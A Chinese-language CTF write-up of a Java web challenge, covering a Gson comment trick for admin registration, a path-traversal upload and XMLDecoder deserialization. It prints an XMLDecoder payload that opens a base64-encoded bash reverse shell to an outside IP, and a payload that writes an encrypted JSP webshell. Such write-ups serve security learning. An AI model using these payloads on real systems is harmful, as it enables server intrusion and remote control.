17解的一道題,涉及到了java反序列化的知識,學習了。
看了下積分榜,如果做出來可能能進前20了哈哈哈,加油吧,這次就搞了兩個misc簽到,菜的扣腳。
打開后是個登錄框,sign up提示不讓注冊,這里卡了好久,以為是fastjson或jackson的漏洞,想多了
其實只是個邏輯漏洞,直接把/login的POST包,改成/register就行了,也算是為自己打開了一個思路
登錄進來發現是guest,下載文件存在任意文件下載,upload提示只能admin使用
fuzz了一堆系統環境沒啥東西,然后去探測web.xml和classes,拿到源碼,代碼審計吧。
由於我代碼審計太菜也看不出漏洞,只好去看看wp了。
漏洞點一(非預期):
在upload的dopost沒驗證身份,其實可以直接構造上傳的,這個其實很容易看出來,但我不知道怎么利用,還是java知識太薄弱了
漏洞點二:
gson進⾏解析json時可以進行多行注釋(這個trick我真不知道,誰沒事用json做注釋啊)
所以構造payload:
data={"username":"wander123","password":"12345","role":"admin"/*, "role":
"test"*/}
替換后 :
data={"username":"wander123","password":"12345","role":"admin"/*, "role":
"guest"*/}
這樣就成功注冊了admin權限用戶,真tm nb啊
補充:這幾天看文章看到了,因為注釋不是標准json語法,三方json處理庫一般提供,最多的時fastjson,各種騷寫法
注冊成功后回到最初的問題,上傳有黑名單限制,我tm不會利用啊,看wp發現還有dao的源碼沒扒,真的菜啊
漏洞點三:
在com.web.dao.baseDao中有使⽤了xmldecoder
然后找觸發,登錄或注冊會觸發baseDao.getConnection();觸發/db/db.xml
此時我們就有思路了,上傳進行目錄穿越覆蓋db.xml,登錄或注冊觸發xml反序列化漏洞。
這里filename="../../db/db.xml"
這個xmldecoder是weblogic的老漏洞了,利用方式也是一樣的,不過過濾了ProcessBuilder這樣原本的payload就失效了
不過在復現weblogic的漏洞時你會發現,有些特殊字符是必須進行unicode編碼的,所以這里大佬直接編碼一個P就繞過了,膜拜
<?xml version="1.0" encoding="UTF-8"?> <java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>{echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMTk1LjE0OS41MC83NTc1IDA+JjEn}|{b ase64,-d}|{bash,-i}</string> </void> </array> <void method="start"/> </object> </java>
這里過內容檢測沒什么新鮮的,大家應該都會,就不說了
由於我沒有vps,所以彈shell的事交給大家了,應該問題不大。
回到官方wp,出題人其實想考的更難一點,java.io.PrintWriter可以對絕對路徑的文件進行寫入,之前我們利用任意文件讀取,可以得到絕對路徑
這樣就把shell寫到static下就行了,其它思路一樣
<?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_192" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string><void method="println"> <string> <![CDATA[<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]> </string> </void><void method="close"/> </object> </java>
這里要注意一點:
xml中jsp部分一定不要帶中文,最好先打好再粘貼過去,不然一直不成功,坑了我好久。
最后用冰蠍連接,執行/readflag的sh文件就行了
最后補充一下,好像如果非預期解上傳jsp到web目錄可以直接拿shell。
這樣的話非預期解難度一下變小了,如果用預期解這道題的重點還是CVE-2017-10271利用的原理上,收獲頗多。